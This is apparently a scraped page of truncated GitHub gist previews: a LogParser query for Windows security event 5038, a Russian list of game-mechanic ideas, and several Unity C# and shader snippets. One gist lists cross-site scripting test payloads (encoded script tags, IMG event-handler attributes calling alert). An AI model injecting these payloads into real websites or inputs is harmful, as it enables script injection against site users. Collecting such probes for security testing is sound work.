This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Logparser | |
############### | |
# Security Log | |
############### | |
# Find Event id | |
& 'C:\Program Files (x86)\Log Parser 2.2\LogParser.exe' -stats:OFF -i:EVT "SELECT * FROM 'Security.evtx' WHERE EventID = '5038'" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Здоровье в качестве валюты как в некоторых комнатах Isaac'а или пули за здоровье в Bloodborne | |
Туман войны, он есть во многих стратегиях | |
Отсутствие меню, или меню вписанное в игровой мир, например в Antichamber | |
Красные бочки - наверное одна из самых шаблонных механик - но зато это делает её понятной всем игрокам | |
Такая широкая идея как редактирование мира, как в терарии и майнкрафте, или в astroneer, в котором она выглядит красивее засчёт отсутствия блоков | |
Гибкое создание кастомных заклинаний или оружия, как было в тех же Worms | |
Сохранение в кровати или в доме игрового персонажа | |
Bullet hell, и не обязательно как жанр, можно создать такого босса или уровень во многих 2D играх со стрельбой | |
Сложные взаимоотношения между нпс, когда мутанты сражаются с рейдерами, или система нпс в Streets Of Rouge | |
Изменение цвета уровня как в shift |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using UnityEngine; | |
/** This class communicates directly with the shader to draw grids. The shader's | |
properties look like this: | |
Shader "SDF/Grid"{ | |
Properties{ | |
[KeywordEnum(Grid, Cross, Ticks)] | |
_GridKind ("Kind", Int) = 0 | |
_InsideColor("Inside Color", Color) = (.5, 0, 0, 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using UnityEditor; | |
using UnityEngine; | |
namespace PixelWizards.Utilities | |
{ | |
public class EditorNote : MonoBehaviour | |
{ | |
[TextArea] | |
public string m_Text; | |
public Vector3 m_Offset; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Screenshot Tool | |
// for use in Unity3D | |
// suitable for taking screenshots for iOS/Android app store pages | |
// made by Ryan Miller https://www.ryanmiller.ca | |
using System.Collections; | |
using System.Collections.Generic; | |
using UnityEngine; | |
using System; | |
#if UNITY_EDITOR |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Shader "Universal Render Pipeline/Custom/UnlitTexture" | |
{ | |
Properties | |
{ | |
[MainColor] _BaseColor("BaseColor", Color) = (1,1,1,1) | |
[MainTexture] _BaseMap("BaseMap", 2D) = "white" {} | |
} | |
SubShader | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Collections; | |
using System.Collections.Generic; | |
using UnityEngine; | |
[ExecuteInEditMode] | |
public class BoneDebug : MonoBehaviour | |
{ | |
SkinnedMeshRenderer skm; | |
public List<Transform> bones = new List<Transform>(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Collections; | |
using System.Collections.Generic; | |
using UnityEngine; | |
namespace PixelWizards.CharacterCustomizer | |
{ | |
/// <summary> | |
/// attach this to the clothing GO you want to attach (the GO with the SkinnedMeshRenderer) | |
/// drag the main character body you want to attach it to (the GO with the SkinnedMeshRenderer) | |
/// the clothing rig must have been the same rig the character's body used. the body parts (transforms) must be named the same thing |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections; | |
using System.Collections.Generic; | |
using TMPro; | |
using UnityEngine; | |
/// <summary> | |
/// Simple Class that assigns the name of the parent GameObject to a UI TextField | |
/// </summary> | |
//Unitytips by @theferfactor |